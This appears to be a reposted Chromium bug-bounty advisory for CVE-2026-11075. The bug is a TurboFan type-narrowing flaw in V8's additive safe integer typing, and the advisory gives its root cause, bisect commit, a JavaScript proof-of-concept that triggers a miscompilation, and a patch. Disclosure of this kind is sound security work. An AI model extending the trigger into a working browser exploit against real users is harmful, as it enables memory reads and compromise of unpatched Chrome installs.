Skip to content
Memory corruption Advisory Advanced CVE-2026-11075

Out of bounds read in V8 (CVE-2026-11075)

A type narrowing bug in TurboFan's OperationTyper causes the compiler to compute an incorrectly narrow result type for additive safe integer operations, leading to wrong JavaScript results after algebraic simplification and branch elimination. An attacker could exploit this to cause incorrect program behaviour, potentially leading to out-of-bounds reads.

JunYoung Park Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 58 days

VULNERABILITY DETAILS

Summary

A type narrowing bug in TurboFan's OperationTyper::SpeculativeAdditiveSafeIntegerAdd causes the compiler to compute an incorrectly narrow result type when the mathematical sum can exceed the kAdditiveSafeInteger range [-2^52, 2^52-1]. The function intersects the result type with kAdditiveSafeInteger when either input is in range (OR condition), but when both inputs are in range and their sum exceeds the range, the intersection clips the result to just 2 values instead of 2^32. After algebraic simplification of (x + C) - C -> x, the incorrect type Range(0, 1) persists on the result node, causing TypeNarrowingReducer to fold comparisons and ConstantFoldingReducer to eliminate reachable branches, producing wrong JavaScript results. The bug is reproducible on all 64-bit architectures with default V8 flags and no special command-line options.

Overview

The root cause is in OperationTyper::SpeculativeAdditiveSafeIntegerAdd (src/compiler/operation-typer.cc:721-728). The function intersects the addition result type with kAdditiveSafeInteger (range [-2^52, 2^52-1]) when either input type is a subset of kAdditiveSafeInteger (OR condition on line 723). This creates an incorrectly narrow result type when the mathematical sum can exceed the kAdditiveSafeInteger bounds, even though both inputs individually are within range.

When a subsequent subtraction of the same constant creates an algebraic identity (x + C) - C, the MachineOperatorReducer eliminates both operations and their runtime overflow checks. The incorrect type Range(0, 1) -- computed from the clipped intermediate -- persists on the result node, causing TypeNarrowingReducer to fold comparisons and ConstantFoldingReducer to eliminate branches, producing wrong JavaScript results.

Detail

The vulnerable code in OperationTyper::SpeculativeAdditiveSafeIntegerAdd:

C++
// src/compiler/operation-typer.cc:721-728
Type OperationTyper::SpeculativeAdditiveSafeIntegerAdd(Type lhs, Type rhs) {
  Type result = SpeculativeNumberAdd(lhs, rhs);
  if (lhs.Is(cache_->kAdditiveSafeInteger) ||    // <-- OR condition: only ONE input needs to be in range
      rhs.Is(cache_->kAdditiveSafeInteger)) {
    return Type::Intersect(result, cache_->kAdditiveSafeInteger, zone());  // <-- clips result to [-2^52, 2^52-1]
  }
  return result;
}

And the corresponding subtraction:

C++
// src/compiler/operation-typer.cc:730-738
Type OperationTyper::SpeculativeAdditiveSafeIntegerSubtract(Type lhs,
                                                            Type rhs) {
  Type result = SpeculativeNumberSubtract(lhs, rhs);
  if (lhs.Is(cache_->kAdditiveSafeInteger) ||
      rhs.Is(cache_->kAdditiveSafeInteger)) {
    return Type::Intersect(result, cache_->kAdditiveSafeInteger, zone());
  }
  return result;
}

How the miscompilation occurs (in pipeline execution order):

  1. Incorrect Type Computation (Typer phase): For ix (x >>> 0, Uint32 range [0, 2^32-1]) -- which is a subset of kAdditiveSafeInteger -- adding constant BASE = 2^52 - 2 produces SpeculativeNumberAdd result Range(4503599627370494, 4503603922337789). The OR condition triggers (both inputs are individually within kAdditiveSafeInteger), and intersection with kAdditiveSafeInteger clips this to Range(4503599627370494, 4503599627370495) -- just 2 possible values instead of 2^32.

  2. Type Propagation (Typer phase): The subtraction sum - BASE is typed as Range(0, 1) by SpeculativeAdditiveSafeIntegerSubtract, because the subtraction ranger computes Range(4503599627370494, 4503599627370495) - Range(4503599627370494, 4503599627370494) = Range(0, 1). The actual mathematical range should be [0, 2^32-1].

  3. Algebraic Simplification (LateOptimization phase): The MachineOperatorReducer (src/compiler/machine-operator-reducer.cc:1179-1196) converts (x + C) - C into x + C + (-C), then constant-folds C + (-C) = 0 via ReduceInt64Add (src/compiler/machine-operator-reducer.cc:1147-1155), resulting in x + 0 = x. This eliminates both the addition and subtraction operations along with their CheckedAdditiveSafeIntegerAdd/Sub runtime overflow checks. The incorrect type Range(0, 1) from step 2 persists on the result node even though the actual runtime value is the unmodified x >>> 0.

  4. Comparison Folding (TypedOptimizations phase): TypeNarrowingReducer (src/compiler/type-narrowing-reducer.cc:33-34) folds idx < 2 to singleton_true because Range(0, 1).Max() = 1 < 2:

    C++
    // src/compiler/type-narrowing-reducer.cc:33-34
    if (left_type.Max() < right_type.Min()) {
      new_type = op_typer_.singleton_true();
    }
    
  5. Branch Elimination (TypedOptimizations phase): ConstantFoldingReducer (src/compiler/constant-folding-reducer.cc:31-32) detects the singleton type and replaces the comparison with a constant, causing branch elimination to remove the reachable false branch:

    C++
    // src/compiler/constant-folding-reducer.cc:31-32
    } else if (type.Is(Type::PlainNumber()) && type.Min() == type.Max()) {
      result = jsgraph->ConstantNoHole(type.Min());
    

Trigger Conditions

  1. Target must be a 64-bit architecture (additive_safe_int_feedback flag is true by default only on 64-bit; src/flags/flag-definitions.h:860-877)
  2. The addition operand must be within kAdditiveSafeInteger range (e.g., x >>> 0 produces Uint32, a subset)
  3. The constant added must be close to kMaxAdditiveSafeInteger (2^52 - 1) so that the sum can exceed the range
  4. The addition must be paired with a subtraction of the same constant, enabling algebraic simplification
  5. The result of the add-sub pair must be used in a comparison that can be folded by TypeNarrowingReducer
  6. The function must be compiled by TurboFan (requires sufficient warmup or %OptimizeFunctionOnNextCall)

Version

Reproduced Version

  • main branch latest commit (2026/04/06): 01333f9ce95
  • V8 14.9.0

Bisect

The commit 0a1fae9e77c6d8e85d8197b4f4396815ec9194b9 introduces this bug.

commit 0a1fae9e77c6d8e85d8197b4f4396815ec9194b9
Author: Victor Gomes <[email protected]>
Date:   Tue Feb 11 14:13:21 2025 +0100

    [turbofan] Use AdditiveSafeInt feedback for faster int add/sub

    Add Int53 addition feedback and use it during simplified lowering
    to optimize integer addition and subtraction.  When one of the inputs
    is known to be within the Int53 range (since the check is relatively
    expensive), we can use a shifted integer addition instead of floating
    addition.

    AdditiveSafeInteger (Int53) is used instead of SafeInteger because
    the safe integer range (-2^53 + 1 to 2^53 -1) excludes -2^53.
    Using SafeInteger directly would require an additional check after
    the operation to ensure the result remains within the valid bounds.

    This change does *not* implement Maglev-specific optimizations.

    Bug: 384959125

    Change-Id: I7b54d075c55ab7828e407cec03933a34be6247d5
    Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6038008
    Reviewed-by: Nico Hartmann <[email protected]>
    Reviewed-by: Leszek Swirski <[email protected]>
    Commit-Queue: Victor Gomes <[email protected]>
    Cr-Commit-Position: refs/heads/main@{#98643}

The first V8 milestone branch that contains this commit is branch-heads/13.5 (Chrome M135). V8 branch-heads/13.4 does NOT contain the commit.

Reproduction Case

Release Build

Bash
out/x64.release/d8 --allow-natives-syntax poc.js

Result:

=== Wrong Result ===
[Interpreter] f(5) = 5
[TurboFan]    f(5) = -1
Optimized: true

Debug Build

Bash
out/x64.debug/d8 --allow-natives-syntax poc.js

Result:

=== Wrong Result ===
[Interpreter] f(5) = 5
[TurboFan]    f(5) = -1
Optimized: true

Also confirmed on ASAN release build (out/x64.release_asan/d8 --allow-natives-syntax poc.js) with identical results.

PoC Code

JavaScript
// Run: out/x64.release/d8 --allow-natives-syntax poc.js
const BASE = 4503599627370494; // 2^52 - 2

function f_interp(x) {
  let ix = x >>> 0;
  let idx = (ix + BASE) - BASE;
  if (idx < 2) return -1;
  return idx;
}

// Separate function to avoid feedback pollution from f_interp(5),
// which would record idx=5 and prevent AdditiveSafeInteger speculation.
function f_jit(x) {
  let ix = x >>> 0;
  let idx = (ix + BASE) - BASE;
  if (idx < 2) return -1;
  return idx;
}

// --- Interpreter ---
const interp = f_interp(5);

// --- TurboFan (train only with 0,1 so feedback stays AdditiveSafeInteger) ---
%PrepareFunctionForOptimization(f_jit);
for (let i = 0; i < 10000; i++) { f_jit(0); f_jit(1); }
%OptimizeFunctionOnNextCall(f_jit);
f_jit(0);
const opt = f_jit(5);

print("=== Wrong Result ===");
print("[Interpreter] f(5) = " + interp);   // 5  (correct)
print("[TurboFan]    f(5) = " + opt);       // -1 (wrong)
print("Optimized: " + ((%GetOptimizationStatus(f_jit) & 32) !== 0));

Suggested Patch

src/compiler/operation-typer.cc

Diff
--- a/src/compiler/operation-typer.cc
+++ b/src/compiler/operation-typer.cc
@@ -721,7 +721,11 @@
 Type OperationTyper::SpeculativeAdditiveSafeIntegerAdd(Type lhs, Type rhs) {
   Type result = SpeculativeNumberAdd(lhs, rhs);
-  if (lhs.Is(cache_->kAdditiveSafeInteger) ||
-      rhs.Is(cache_->kAdditiveSafeInteger)) {
+  // Only narrow to kAdditiveSafeInteger when BOTH inputs are within range
+  // AND the computed result is already within range. With the OR condition,
+  // one input near the boundary plus any in-range value can produce a sum
+  // that exceeds the bounds, and the intersection clips the result type to
+  // a range that doesn't contain all possible values.
+  if (lhs.Is(cache_->kAdditiveSafeInteger) &&
+      rhs.Is(cache_->kAdditiveSafeInteger) &&
+      result.Is(cache_->kAdditiveSafeInteger)) {
     return Type::Intersect(result, cache_->kAdditiveSafeInteger, zone());
   }
   return result;
@@ -730,8 +734,9 @@
 Type OperationTyper::SpeculativeAdditiveSafeIntegerSubtract(Type lhs,
                                                             Type rhs) {
   Type result = SpeculativeNumberSubtract(lhs, rhs);
-  if (lhs.Is(cache_->kAdditiveSafeInteger) ||
-      rhs.Is(cache_->kAdditiveSafeInteger)) {
+  if (lhs.Is(cache_->kAdditiveSafeInteger) &&
+      rhs.Is(cache_->kAdditiveSafeInteger) &&
+      result.Is(cache_->kAdditiveSafeInteger)) {
     return Type::Intersect(result, cache_->kAdditiveSafeInteger, zone());
   }
   return result;

Explanation

The fix changes the OR condition (||) to AND (&&) with an additional guard that the computed result is already within kAdditiveSafeInteger. The intersection is now only applied when it is provably a no-op (i.e., when both inputs AND the result are within bounds), so it can never incorrectly clip the result type.

The original OR condition was wrong because two values that are individually within kAdditiveSafeInteger (e.g., Uint32 [0, 2^32-1] and constant 2^52 - 2) can sum to a value that exceeds the range. The intersection then clips the result to a range that excludes actually-reachable values, creating incorrect type information that persists through algebraic simplification and causes downstream miscompilation.

Note: CanSpeculateAdditiveSafeInteger in simplified-lowering.cc:1839 does not need fixing. Its OR condition only controls whether CheckedAdditiveSafeIntegerAdd/Sub operations (with runtime overflow checks) are emitted -- a lowering decision. The bug is solely in the typing of the result.

Credit Information

Reporter credit: Junyoung Park(@candymate) of KAIST Hacking Lab

The original report as published on the Chromium issue tracker, by JunYoung Park(@candymate) of KAIST Hacking Lab. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The function intersects the addition result type with kAdditiveSafeInteger when either input is in range, but when both inputs are in range and their sum exceeds the range, the intersection clips the result to just 2 values instead of 2^32.

Impact

The miscompilation produces wrong JavaScript results, which could lead to out-of-bounds reads and potentially other security issues.

What the attacker needed

64-bit architecture; TurboFan compilation (warmup or %OptimizeFunctionOnNextCall); specific code pattern with add/sub of constant near 2^52

The fix

The fix changes the OR condition to AND with an additional guard that the computed result is already within kAdditiveSafeInteger, so the intersection is only applied when it is provably a no-op.

How it was found

  1. Compile a function with TurboFan that performs an addition of a constant near 2^52 to a Uint32 value, followed by subtraction of the same constant.
  2. The addition result type is incorrectly clipped to a narrow range, and the subtraction result type becomes Range(0,1).
  3. Algebraic simplification removes the addition and subtraction, but the incorrect type persists.
  4. A comparison using the result is folded to always true, eliminating a reachable branch.
  5. The optimized function returns a wrong value compared to the interpreter.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a bug in V8, the JavaScript engine used in Chrome. The compiler made a mistake when figuring out the possible range of numbers, so it wrongly simplified some code and produced a wrong answer. An attacker could use this to make a program behave unexpectedly, which might lead to reading memory it shouldn't.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by JunYoung Park

View all

2 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.